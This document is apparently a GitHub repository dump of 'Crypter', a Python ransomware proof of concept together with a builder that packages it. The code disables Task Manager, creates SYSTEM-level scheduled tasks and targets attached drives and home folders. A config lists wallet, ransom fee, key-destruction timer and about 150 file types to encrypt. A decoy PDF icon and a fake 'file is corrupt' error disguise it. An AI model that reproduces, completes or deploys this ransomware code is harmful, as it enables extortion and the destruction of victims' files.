├── repo_images ├── crypter_logo.png └── crypter_example.png ├── CrypterBuilder ├── Resources │ ├── lock.bmp │ ├── lock.ico │ ├── pdf.ico │ ├── bitcoin.bmp │ ├── builder_logo.bmp │ └── Template.spec ├── __init__.py ├── Builder.py ├── Exceptions.py ├── Spec.py ├── Base.py ├── BuilderThread.py └── Gui.py ├── Crypter ├── Crypter │ ├── __init__.py │ ├── Mutex.py │ ├── TaskManager.py │ ├── ScheduledTask.py │ ├── Base.py │ ├── Crypt.py │ ├── GuiAbsBase.py │ ├── Crypter.py │ └── Gui.py └── Main.py ├── .gitignore ├── requirements.txt ├── Builder.pyw ├── setup.py ├── config_example.cfg ├── README.md └── LICENSE.md /repo_images/crypter_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/repo_images/crypter_logo.png -------------------------------------------------------------------------------- /repo_images/crypter_example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/repo_images/crypter_example.png -------------------------------------------------------------------------------- /CrypterBuilder/Resources/lock.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/CrypterBuilder/Resources/lock.bmp -------------------------------------------------------------------------------- /CrypterBuilder/Resources/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/CrypterBuilder/Resources/lock.ico -------------------------------------------------------------------------------- /CrypterBuilder/Resources/pdf.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/CrypterBuilder/Resources/pdf.ico -------------------------------------------------------------------------------- /CrypterBuilder/__init__.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Crypter Builder Package 3 | @author: Sithis 4 | ''' 5 | 6 | from .Builder import Builder -------------------------------------------------------------------------------- /CrypterBuilder/Resources/bitcoin.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/CrypterBuilder/Resources/bitcoin.bmp -------------------------------------------------------------------------------- /CrypterBuilder/Resources/builder_logo.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Crypter/master/CrypterBuilder/Resources/builder_logo.bmp -------------------------------------------------------------------------------- /Crypter/Crypter/__init__.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Crypter Package 3 | @author: Sithis 4 | ''' 5 | 6 | from .Crypter import Crypter 7 | from . import Mutex -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # FILES 2 | Main.spec 3 | todo.txt 4 | key.txt 5 | *.pyc 6 | *.swn 7 | *.swo 8 | *.swp 9 | *~ 10 | CrypterBuilder/Resources/runtime.cfg 11 | 12 | # DIRS 13 | Crypter.egg-info/* 14 | Crypter/.settings/ 15 | bin/ 16 | build/ 17 | dist/ 18 | venv/ 19 | .idea/ 20 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | altgraph==0.17 2 | future==0.18.2 3 | macholib==1.14 4 | numpy==1.18.2 5 | pefile==2019.4.18 6 | Pillow==7.0.0 7 | pycryptodome==3.9.7 8 | PyInstaller==3.6 9 | Pypubsub==4.0.3 10 | pywin32==227 11 | pywin32-ctypes==0.2.0 12 | six==1.14.0 13 | wxPython==4.0.7 14 | -------------------------------------------------------------------------------- /CrypterBuilder/Builder.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Crypter Builder 3 | @author: Sithis 4 | ''' 5 | 6 | # Import libs 7 | import wx 8 | 9 | # Import package modules 10 | from .Gui import Gui 11 | 12 | ################### 13 | ## BUILDER CLASS ## 14 | ################### 15 | class Builder(): 16 | ''' 17 | Crypter Builder 18 | ''' 19 | 20 | def __init__(self): 21 | ''' 22 | Constructor 23 | ''' 24 | 25 | # Initialise the Builder GUI 26 | self.__app = wx.App() 27 | self.__builder_gui = Gui() 28 | 29 | 30 | def launch(self): 31 | ''' 32 | Launches the Builder GUI 33 | ''' 34 | 35 | self.__builder_gui.Show() 36 | self.__app.MainLoop() 37 | -------------------------------------------------------------------------------- /Builder.pyw: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Build script. Invokes the Crypter Exe Builder 3 | @author: Sithis 4 | ''' 5 | 6 | # Import libs 7 | import wx 8 | import sys 9 | from CrypterBuilder import Builder 10 | 11 | # Process Version 12 | PY_MAJ_VERSION = sys.version_info[0] 13 | PY_MIN_VERSION = sys.version_info[1] 14 | 15 | def showErrorDialog(message): 16 | ''' 17 | Displays an error dialog containing the specified message 18 | ''' 19 | 20 | app = wx.App() 21 | error_dialog = wx.MessageDialog(None, str(message), "Error", wx.OK | wx.ICON_ERROR) 22 | error_dialog.ShowModal() 23 | app.MainLoop() 24 | 25 | # Check Version 26 | if PY_MAJ_VERSION != 3 or (PY_MIN_VERSION != 6 and PY_MIN_VERSION != 7): 27 | showErrorDialog( 28 | "Python 3.6 or 3.7 is required to use this project. version %s.%s is" 29 | " not supported" % (PY_MAJ_VERSION, PY_MIN_VERSION) 30 | ) 31 | sys.exit() 32 | 33 | # Open Builder 34 | builder = Builder() 35 | builder.launch() -------------------------------------------------------------------------------- /CrypterBuilder/Resources/Template.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python -*- 2 | 3 | block_cipher=None 4 | 5 | 6 | a = Analysis(['Crypter\\Main.py'], 7 | pathex=['.\\build'], 8 | binaries=None, 9 | datas=[("CrypterBuilder/Resources/lock.bmp", "."), 10 | ("CrypterBuilder/Resources/bitcoin.bmp", "."), 11 | ("CrypterBuilder/Resources/lock.ico", "."), 12 | ("CrypterBuilder/Resources/runtime.cfg", ".") 13 | ], 14 | hiddenimports=[], 15 | hookspath=[], 16 | runtime_hooks=[], 17 | excludes=[], 18 | win_no_prefer_redirects=False, 19 | win_private_assemblies=False, 20 | cipher=block_cipher) 21 | pyz = PYZ(a.pure, a.zipped_data, 22 | cipher=block_cipher) 23 | exe = EXE(pyz, 24 | a.scripts, 25 | a.binaries, 26 | a.zipfiles, 27 | a.datas, 28 | name='Main', 29 | debug=False, 30 | strip=False, 31 | upx=False, 32 | console=False, 33 | uac_admin=False, 34 | icon=None 35 | ) 36 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # Import Libs 2 | import shutil 3 | from setuptools import setup 4 | 5 | # Clear previous build 6 | #import os 7 | #if os.path.isdir("dist"): 8 | # shutil.rmtree("dist") 9 | #if os.path.isdir("build"): 10 | # shutil.rmtree("build") 11 | #if os.path.isdir("Crypter.egg-info"): 12 | # shutil.rmtree("Crypter.egg-info") 13 | 14 | setup( 15 | name='Crypter', 16 | version='3.3', 17 | install_requires=[ 18 | "altgraph==0.17", 19 | "future==0.18.2", 20 | "macholib==1.14", 21 | "numpy==1.18.2", 22 | "pefile==2019.4.18", 23 | "pycryptodome==3.9.7", 24 | "PyInstaller==3.6", 25 | "Pypubsub==4.0.3", 26 | "pywin32==227", 27 | "pywin32-ctypes==0.2.0", 28 | "six==1.14.0", 29 | "wxPython==4.0.7" 30 | ], 31 | scripts=["Builder.pyw"], 32 | package_data={ 33 | 'CrypterBuilder': ['Resources\\*'] 34 | }, 35 | packages=[ 36 | 'Crypter', 'Crypter.Crypter', 37 | 'CrypterBuilder' 38 | ], 39 | url='https://github.com/sithis993/Crypter', 40 | license='GPL-3.0', 41 | author='sithis', 42 | author_email='', 43 | description='Crypter Ransomware PoC and Builder' 44 | ) 45 | -------------------------------------------------------------------------------- /Crypter/Crypter/Mutex.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Crypter - Mutext Class 3 | @author: Sithis 4 | ''' 5 | 6 | # Import Libs 7 | import win32event 8 | import win32api 9 | import winerror 10 | 11 | # Import Package Libs 12 | 13 | # ================================================================ 14 | # = Mutex Class 15 | # =============================================================== 16 | class Mutex(): 17 | ''' 18 | Provides a Mutex object 19 | ''' 20 | 21 | # Properties 22 | MUTEX_NAME = "mutex_rr_windows" 23 | 24 | def __init__(self): 25 | ''' 26 | Constructor 27 | ''' 28 | self.__mutex = self.__acquire() 29 | 30 | 31 | def __acquire(self): 32 | ''' 33 | Attempts to acquire the mutex 34 | @raise MutexAlreadyAcquired 35 | ''' 36 | 37 | mutex = win32event.CreateMutex(None, 1, self.MUTEX_NAME) 38 | if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: 39 | raise MutexAlreadyAcquired() 40 | 41 | return mutex 42 | 43 | 44 | # ================================================================ 45 | # = MutexAlreadyAcquired Exception Class 46 | # =============================================================== 47 | class MutexAlreadyAcquired(Exception): 48 | ''' 49 | To be raised in the even that the mutex has already been acquired 50 | ''' 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /Crypter/Main.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Crypter - Launcher 3 | @author: Sithis 4 | ''' 5 | 6 | # Import Libs 7 | import win32event 8 | import win32api 9 | import winerror 10 | import wx 11 | import os 12 | import sys 13 | import traceback 14 | 15 | # Import Package Libs 16 | from Crypter import Crypter 17 | from Crypter.Mutex import * 18 | 19 | def showErrorDialog(message): 20 | ''' 21 | Displays an error dialog containing the specified message 22 | ''' 23 | 24 | app = wx.App() 25 | error_dialog = wx.MessageDialog(None, str(message), "Error", wx.OK | wx.ICON_ERROR) 26 | error_dialog.ShowModal() 27 | app.MainLoop() 28 | 29 | # GO 30 | if __name__ == "__main__": 31 | 32 | ## START 33 | try: 34 | mutex = Mutex() 35 | go = Crypter() 36 | # Could not acquire mutex 37 | except MutexAlreadyAcquired as maa: 38 | showErrorDialog("The file is corrupt and cannot be opened") 39 | sys.exit() 40 | # Exception 41 | except Exception as ex: 42 | if "--debug" in sys.argv: 43 | exc_type, exc_obj, exc_tb = sys.exc_info() 44 | msg = "Exception encountered!\n\n" 45 | msg += "Exception: %s\n" % ex 46 | msg += "Type: %s\n" % exc_type.__name__ 47 | msg += "Traceback: %s" % "".join(traceback.format_tb(exc_tb)) 48 | showErrorDialog(msg) 49 | sys.exit() 50 | 51 | -------------------------------------------------------------------------------- /CrypterBuilder/Exceptions.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Builder: Package exceptions 3 | @author: MLS 4 | ''' 5 | 6 | 7 | ############################### 8 | ## VALIDATIONEXCEPTION CLASS ## 9 | ############################### 10 | class ValidationException(Exception): 11 | ''' 12 | @summary: ValidationException. To be raised if config validation fails 13 | ''' 14 | 15 | 16 | ############################## 17 | ## CONFIGFILENOTFOUND CLASS ## 18 | ############################## 19 | class ConfigFileNotFound(Exception): 20 | ''' 21 | @summary: ConfigFileNotFound: To be raised if the Crypter build config file 22 | could not be found, or could not be read 23 | ''' 24 | 25 | 26 | #################### 27 | ## USERHALT CLASS ## 28 | #################### 29 | class UserHalt(Exception): 30 | ''' 31 | @summary: UserHalt: To be raised in the event that the user manually stops 32 | the build process 33 | ''' 34 | 35 | 36 | ######################## 37 | ## BUILDFAILURE CLASS ## 38 | ######################## 39 | class BuildFailure(Exception): 40 | ''' 41 | @summary: BuildFailure: To be raised in the event of a generic Build Failure 42 | ''' 43 | 44 | 45 | def __init__(self, code, message): 46 | ''' 47 | Constructor 48 | :param code: 49 | :param message: 50 | ''' 51 | self.__code = code 52 | 53 | message = "A Build failure occurred (%s): %s" % (code, message) 54 | super(BuildFailure, self).__init__(message) 55 | 56 | 57 | def get_code(self): 58 | ''' 59 | Gets the exception/error code 60 | @return: 61 | ''' 62 | 63 | return self.__code 64 | 65 | -------------------------------------------------------------------------------- /Crypter/Crypter/TaskManager.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Provides a Task Manager object 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | import winreg 8 | 9 | 10 | class TaskManager(object): 11 | ''' 12 | @summary: Provides a Task Manager object for managing Windows Task Manager 13 | @raise WindowsError: If there are problems creating, accessing, reading or writing keys. 14 | It isn't the job of this class to catch these errors. To be handled (or not) upstream 15 | ''' 16 | 17 | DISABLE_KEY_LOCATION = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" 18 | 19 | 20 | def __init__(self): 21 | ''' 22 | @summary: Constructor 23 | ''' 24 | pass 25 | 26 | 27 | def disable(self): 28 | ''' 29 | @summary: Disables Windows Task Manager 30 | ''' 31 | key_exists = False 32 | 33 | 34 | # Try to read the key 35 | try: 36 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) 37 | disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] 38 | winreg.CloseKey(reg) 39 | key_exists = True 40 | except: 41 | pass 42 | 43 | # If key doesn't exist, create it and set to disabled 44 | if not key_exists: 45 | reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, 46 | self.DISABLE_KEY_LOCATION) 47 | winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) 48 | winreg.CloseKey(reg) 49 | # If enabled, disable it 50 | elif key_exists and not disabled: 51 | reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 52 | self.DISABLE_KEY_LOCATION, 53 | 0, 54 | winreg.KEY_SET_VALUE) 55 | winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) 56 | winreg.CloseKey(reg) 57 | 58 | 59 | def enable(self): 60 | ''' 61 | @summary: Disables Windows Task Manager 62 | ''' 63 | key_exists = False 64 | 65 | # Try to read the key 66 | try: 67 | reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) 68 | disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] 69 | winreg.CloseKey(reg) 70 | key_exists = True 71 | except: 72 | pass 73 | 74 | # If key exists and is disabled, enable it 75 | if key_exists and disabled: 76 | reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 77 | self.DISABLE_KEY_LOCATION, 78 | 0, 79 | winreg.KEY_SET_VALUE) 80 | winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000000) 81 | winreg.CloseKey(reg) 82 | 83 | 84 | if __name__ == "__main__": 85 | test = TaskManager() 86 | test.enable() -------------------------------------------------------------------------------- /Crypter/Crypter/ScheduledTask.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter: Provides an object for deleting Shadow Copy Files 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | from subprocess import Popen, PIPE 8 | 9 | class ScheduledTask(): 10 | ''' 11 | @summary: Crypter: Basic class for providing a Windows Scheduled Task object 12 | ''' 13 | 14 | def __init__(self, name, command, schedule="once", start_date="01/01/1901", start_time="00:00", run_level="highest", run_user="SYSTEM"): 15 | ''' 16 | @summary: Constructor 17 | # REQUIRED PARAMS 18 | @param name: The name of the Scheduled Task 19 | @param command: The command of the Scheduled Task 20 | # OPTIONAL PARAMS 21 | @param schedule: Specifier for schedule frequency (argument to /SC) 22 | @param start date: Specifier for Start Date (argument to /SD). Default: 01/01/1901 23 | @param start_time: Specifier for Start Time (argument to /ST). Default: 00:00 24 | @param run_level: Specifier for Run Level (argument to /RL). Default: Highest 25 | @param run user: Specifier for Run User (argument to /RU). Default: SYSTEM 26 | @note: Default task is set to launch in the past. Should be run manually with run_now() method 27 | ''' 28 | # Set Task Settings 29 | self.__name = name 30 | self.__task_command = command 31 | self.__schedule = schedule 32 | self.__start_date = start_date 33 | self.__start_time = start_time 34 | self.__run_level = run_level 35 | self.__run_user = run_user 36 | 37 | # Create Task 38 | self.__create_task() 39 | 40 | 41 | def run_now(self): 42 | ''' 43 | @summary: Launches the scheduled task immediately 44 | ''' 45 | cmd = [ 46 | "schtasks", "/run", 47 | "/i", 48 | "/tn", self.__name 49 | ] 50 | 51 | run_task = Popen( 52 | cmd, 53 | stdout=PIPE, 54 | stderr=PIPE, 55 | stdin=PIPE, 56 | shell=True 57 | ) 58 | out, err = run_task.communicate() 59 | 60 | 61 | def cleanup(self): 62 | ''' 63 | @summary: Destructor. Removes the Scheduled Task entry 64 | ''' 65 | cmd = [ 66 | "schtasks", "/delete", 67 | "/tn", self.__name, 68 | "/f" 69 | ] 70 | 71 | delete_task = Popen( 72 | cmd, 73 | stdout=PIPE, 74 | stderr=PIPE, 75 | stdin=PIPE, 76 | shell=True 77 | ) 78 | out, err = delete_task.communicate() 79 | 80 | 81 | def __create_task(self): 82 | ''' 83 | @summary: Creates the Scheduled Task entry in Windows Task Scheduler 84 | ''' 85 | cmd = [ 86 | "schtasks", "/create", 87 | "/tn", self.__name, 88 | "/sc", self.__schedule, 89 | "/sd", self.__start_date, 90 | "/tr", self.__task_command, 91 | "/st", self.__start_time, 92 | "/rl", self.__run_level, 93 | "/ru", self.__run_user, 94 | "/f" 95 | ] 96 | 97 | create_task = Popen( 98 | cmd, 99 | stdout=PIPE, 100 | stderr=PIPE, 101 | stdin=PIPE, 102 | shell=True 103 | ) 104 | out, err = create_task.communicate() -------------------------------------------------------------------------------- /CrypterBuilder/Spec.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Crypter Builder: PyInstaller SPEC File Creator 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | import re 8 | import os 9 | from pubsub import pub 10 | 11 | # Import package modules 12 | from . import Base 13 | 14 | ################ 15 | ## SPEC CLASS ## 16 | ################ 17 | class Spec(): 18 | ''' 19 | @summary: Provides a SPEC file object 20 | ''' 21 | 22 | SPEC_TEMPLATE_PATH = os.path.join(Base.PACKAGE_DIR, "Resources", "Template.spec") 23 | SPEC_OUT_PATH = "Main.spec" 24 | 25 | def __init__(self): 26 | ''' 27 | @summary: Constructor 28 | @todo: set contents back to private __contents 29 | ''' 30 | self.__console_log(msg="Constructor()", debug_level=3) 31 | 32 | # Read SPEC template 33 | self.contents = self.__load_spec(self.SPEC_TEMPLATE_PATH) 34 | 35 | 36 | def __load_spec(self, path): 37 | ''' 38 | @summary: Loads and returns the contents of the specified SPEC file 39 | ''' 40 | contents = None 41 | self.__console_log(msg="reading PyInstaller SPEC template from %s" % path, 42 | debug_level=2) 43 | 44 | with open(path, "r") as spec_file: 45 | contents = spec_file.read() 46 | 47 | return contents 48 | 49 | 50 | def save_spec(self, path=None): 51 | ''' 52 | @summary: Writes out the SPEC file contents 53 | @param path: Optional path to the spec destination. Currrently should never be overridden. 54 | ''' 55 | 56 | if not path: 57 | path = self.SPEC_OUT_PATH 58 | 59 | self.__console_log(msg="Writing the SPEC file", 60 | debug_level=2) 61 | with open(path, "w") as spec_out: 62 | spec_out.write(self.contents) 63 | 64 | self.__console_log(msg="SPEC file written to '%s'" % path, 65 | debug_level=2) 66 | 67 | return path 68 | 69 | 70 | def enable_upx(self): 71 | ''' 72 | @summary: Enables the UPX packer SPEC option 73 | ''' 74 | 75 | self.__console_log(msg="UPX Packer specified. UPX will be used", 76 | debug_level=1) 77 | self.contents = self.contents.replace("upx=False", 78 | "upx=True") 79 | self.__console_log(msg="UPX Set to True in SPEC file", debug_level=3) 80 | 81 | 82 | def set_icon(self, file_path): 83 | ''' 84 | @summary: Sets the Binary Icon file path 85 | ''' 86 | 87 | self.__console_log(msg="PyInstaller binary Icon file specified. Custom icon will be added", 88 | debug_level=1) 89 | self.__console_log(msg="Adding Icon file at '%s'" % file_path, 90 | debug_level=2 91 | ) 92 | self.contents = self.contents.replace("icon=None", 93 | "icon=r'%s'" % file_path) 94 | 95 | 96 | def set_cipher_key(self, key): 97 | ''' 98 | @summary: Set's the PyInstaller binary encryption key 99 | @param key: The 16 Byte AES key to add to the SPEC file 100 | ''' 101 | 102 | self.__console_log(msg="PyInstaller AES key provided. Script files will be encrypted", 103 | debug_level=1) 104 | self.__console_log(msg="Setting PyInstaller AES key to '%s'" % key, 105 | debug_level=2) 106 | self.contents = self.contents.replace("block_cipher=None", 107 | "block_cipher=pyi_crypto.PyiBlockCipher(key='%s')" % key) 108 | 109 | 110 | def __str__(self): 111 | ''' 112 | @summary: Return class name for logging purposes 113 | ''' 114 | 115 | return "Spec" 116 | 117 | 118 | def __console_log(self, msg=None, debug_level=0, ccode=0, timestamp=True, **kwargs): 119 | ''' 120 | @summary: Private Console logger method. Logs the SPEC progress to the GUI Console 121 | using wx Publisher update 122 | @param msg: The msg to print to the console 123 | @param debug_level: The debug level of the message being logged 124 | ''' 125 | 126 | # Define update data dict and add any kwarg items 127 | update_data_dict = { 128 | "_class": str(self), 129 | "msg": msg, 130 | "debug_level": debug_level, 131 | "ccode": ccode, 132 | "timestamp": timestamp 133 | } 134 | for key, value in kwargs.items(): 135 | update_data_dict[key] = value 136 | 137 | # Send update data 138 | pub.sendMessage("update", msg=update_data_dict) 139 | 140 | -------------------------------------------------------------------------------- /Crypter/Crypter/Base.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | ''' 3 | @summary: Crypter: Base class for inheritence 4 | @author: MLS 5 | ''' 6 | 7 | # Import libs 8 | import os 9 | import locale 10 | from operator import attrgetter 11 | 12 | import win32api 13 | import win32file 14 | from subprocess import Popen, PIPE, DEVNULL 15 | 16 | # Import classes 17 | 18 | ################ 19 | ## Base class ## 20 | ################ 21 | class Base(): 22 | ''' 23 | @summary: Base Class. Defines schema for Crypter 24 | @todo: Continue with defining GUI schema 25 | ''' 26 | 27 | # CORE SCHEMA 28 | BLOCK_SIZE_BYTES = 8192 29 | IV_SIZE = 16 30 | PADDING_BLOCK_SIZE = 16 31 | MAX_FILE_SIZE_BYTES = 536870912 32 | REGISTRY_LOCATION = r"SOFTWARE\\Crypter" 33 | STARTUP_REGISTRY_LOCATION = r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" 34 | RUNTIME_CONFIG_FILE = "runtime.cfg" 35 | BTC_BUTTON_URL = "https://www.coindesk.com/information/what-is-bitcoin/" 36 | 37 | # Get locale 38 | if "ru" in locale.getdefaultlocale(): 39 | #LANG = "ru" 40 | LANG = "eng" 41 | else: 42 | LANG = "eng" 43 | 44 | # GUI SCHEMA 45 | GUI_IMAGE_LOGO = "lock.bmp" 46 | GUI_IMAGE_BUTTON = "bitcoin.bmp" 47 | GUI_IMAGE_ICON = "lock.ico" 48 | GUI_LABEL_TEXT_TITLE = { 49 | "eng": "Crypter", 50 | "ru": u"КРИПТЕР" 51 | } 52 | GUI_LABEL_TEXT_FLASHING_ENCRYPTED = { 53 | "eng": "YOUR FILES HAVE BEEN ENCRYPTED!", 54 | "ru": u"ВАШИ ФАЙЛИ БЫЛИ ЗАШИФРАНЫ!" 55 | } 56 | GUI_LABEL_TEXT_FLASHING_DECRYPTED = { 57 | "eng": "YOUR FILES HAVE BEEN DECRYPTED!", 58 | "ru": u"ВАШИ ФАЙЛЫ БЫЛИ РАСШИФРАНЫ!" 59 | } 60 | GUI_LABEL_TEXT_FLASHING_DESTROYED = { 61 | "eng": "YOUR DECRYPTION KEY HAS BEEN DESTROYED!", 62 | "ru": u"ВАШИ ФАЙЛЫ БЫЛИ РАСШИФРАНЫ!" 63 | } 64 | GUI_LABEL_TEXT_TIME_REMAINING = { 65 | "eng": "TIME REMAINING", 66 | "ru": u"РАЗРУШЕНИЕ КЛЮЧА ЧЕРЕЗ: " 67 | } 68 | GUI_LABEL_TEXT_WALLET_ADDRESS = { 69 | "eng": "WALLET ADDRESS: ", 70 | "ru": u"АДРЕС КОШЕЛЬКА: " 71 | } 72 | GUI_LABEL_TEXT_BITCOIN_FEE = { 73 | "eng": "BITCOIN FEE: ", 74 | "ru": u"АДРЕС КОШЕЛЬКА: " 75 | } 76 | GUI_LABEL_TEXT_TIME_BLANK = { 77 | "eng": "--------", 78 | "ru": u"KEY DESTROYED" 79 | } 80 | GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES = { 81 | "eng": "View Encrypted Files", 82 | "ru": u"View Encrypted Files" 83 | } 84 | GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY = { 85 | "eng": "Enter Decryption Key", 86 | "ru": u"Enter Decryption Key" 87 | } 88 | GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY = { 89 | "eng": "Invalid Key!", 90 | "ru": u"Invalid Key!" 91 | } 92 | GUI_DECRYPTION_DIALOG_LABEL_TEXT_WAITING = { 93 | "eng": "Waiting for input", 94 | "ru": u"Waiting for input" 95 | } 96 | GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING = { 97 | "eng": "Decrypting! Please Wait", 98 | "ru": u"Decrypting! Please Wait" 99 | } 100 | GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED = { 101 | "eng": "Decryption Complete!", 102 | "ru": u"Decryption Complete!" 103 | } 104 | GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT = { 105 | "eng": "Encrypted Files: ", 106 | "ru": u"Encrypted Files: " 107 | } 108 | GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND = { 109 | "eng": "A list of encrypted files was not found", 110 | "ru": u"A list of encrypted files was not found" 111 | } 112 | 113 | FILES_TO_EXCLUDE = [ 114 | "key.txt", 115 | "enc_test.txt" 116 | ] 117 | 118 | DIRS_TO_EXCLUDE = [ 119 | # Don't encrypt burn directory (temp store for files to be burned to disc) 120 | "burn" 121 | ] 122 | 123 | def is_optical_drive(self, drive_letter): 124 | ''' 125 | @summary: Checks if the specified drive letter is an optical drive 126 | @param drive_letter: The letter of the drive to check 127 | @return: True if drive is an optical drive, otherwise false 128 | ''' 129 | 130 | if win32file.GetDriveType('%s:' % drive_letter) == win32file.DRIVE_CDROM: 131 | return True 132 | else: 133 | return False 134 | 135 | 136 | def get_base_dirs(self, home_dir, __config): 137 | # Function to return a list of base directories to encrypt 138 | base_dirs = [] 139 | 140 | # Add attached drives and file shares 141 | if __config["encrypt_attached_drives"] is True: 142 | attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1] 143 | for drive in attached_drives: 144 | drive_letter = drive[0].lower() 145 | if drive_letter != 'c' and not self.is_optical_drive(drive_letter): 146 | base_dirs.append(drive) 147 | 148 | # Add C:\\ user space directories 149 | if __config["encrypt_user_home"] is True: 150 | base_dirs.append(home_dir) 151 | 152 | return base_dirs 153 | 154 | -------------------------------------------------------------------------------- /config_example.cfg: -------------------------------------------------------------------------------- 1 | { 2 | "builder_language": "English", 3 | "pyinstaller_aes_key": "", 4 | "icon_file": ".\\CrypterBuilder\\Resources\\pdf.ico", 5 | "open_gui_on_login": true, 6 | "time_delay": "60", 7 | "gui_title": "CRYPTER", 8 | "upx_dir": "", 9 | "delete_shadow_copies": true, 10 | "disable_task_manager": false, 11 | "key_destruction_time": "86400", 12 | "wallet_address": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay", 13 | "bitcoin_fee": "0.08134", 14 | "encrypt_attached_drives": false, 15 | "encrypt_user_home": false, 16 | "max_file_size_to_encrypt": "512", 17 | "filetypes_to_encrypt": [ 18 | "dat", 19 | "keychain", 20 | "sdf", 21 | "vcf", 22 | "jpg", 23 | "png", 24 | "tiff", 25 | "tif", 26 | "gif", 27 | "jpeg", 28 | "jif", 29 | "jfif", 30 | "jp2", 31 | "jpx", 32 | "j2k", 33 | "j2c", 34 | "fpx", 35 | "pcd", 36 | "bmp", 37 | "svg", 38 | "3dm", 39 | "3ds", 40 | "max", 41 | "obj", 42 | "dds", 43 | "psd", 44 | "tga", 45 | "thm", 46 | "tif", 47 | "tiff", 48 | "yuv", 49 | "ai", 50 | "eps", 51 | "ps", 52 | "svg", 53 | "indd", 54 | "pct", 55 | "mp4", 56 | "avi", 57 | "mkv", 58 | "3g2", 59 | "3gp", 60 | "asf", 61 | "flv", 62 | "m4v", 63 | "mov", 64 | "mpg", 65 | "rm", 66 | "srt", 67 | "swf", 68 | "vob", 69 | "wmv", 70 | "doc", 71 | "docx", 72 | "txt", 73 | "pdf", 74 | "log", 75 | "msg", 76 | "odt", 77 | "pages", 78 | "rtf", 79 | "tex", 80 | "wpd", 81 | "wps", 82 | "csv", 83 | "ged", 84 | "key", 85 | "pps", 86 | "ppt", 87 | "pptx", 88 | "xml", 89 | "json", 90 | "xlsx", 91 | "xlsm", 92 | "xlsb", 93 | "xls", 94 | "mht", 95 | "mhtml", 96 | "htm", 97 | "html", 98 | "xltx", 99 | "prn", 100 | "dif", 101 | "slk", 102 | "xlam", 103 | "xla", 104 | "ods", 105 | "docm", 106 | "dotx", 107 | "dotm", 108 | "xps", 109 | "ics", 110 | "mp3", 111 | "aif", 112 | "iff", 113 | "m3u", 114 | "m4a", 115 | "mid", 116 | "mpa", 117 | "wav", 118 | "wma", 119 | "msi", 120 | "php", 121 | "apk", 122 | "app", 123 | "bat", 124 | "cgi", 125 | "com", 126 | "asp", 127 | "aspx", 128 | "cer", 129 | "cfm", 130 | "css", 131 | "htm", 132 | "html", 133 | "js", 134 | "jsp", 135 | "rss", 136 | "xhtml", 137 | "c", 138 | "class", 139 | "cpp", 140 | "cs", 141 | "h", 142 | "java", 143 | "lua", 144 | "pl", 145 | "py", 146 | "sh", 147 | "sln", 148 | "swift", 149 | "vb", 150 | "vcxproj", 151 | "dem", 152 | "gam", 153 | "nes", 154 | "rom", 155 | "sav", 156 | "tgz", 157 | "zip", 158 | "rar", 159 | "tar", 160 | "7z", 161 | "cbr", 162 | "deb", 163 | "gz", 164 | "pkg", 165 | "rpm", 166 | "zipx", 167 | "iso", 168 | "ged", 169 | "accdb", 170 | "db", 171 | "dbf", 172 | "mdb", 173 | "sql", 174 | "fnt", 175 | "fon", 176 | "otf", 177 | "ttf", 178 | "cfg", 179 | "ini", 180 | "prf", 181 | "bak", 182 | "old", 183 | "tmp", 184 | "torrent" 185 | ], 186 | "encrypted_file_extension": "crypter", 187 | "make_gui_resizeable": true, 188 | "always_on_top": false, 189 | "background_colour": [ 190 | 177, 191 | 7, 192 | 14, 193 | 255 194 | ], 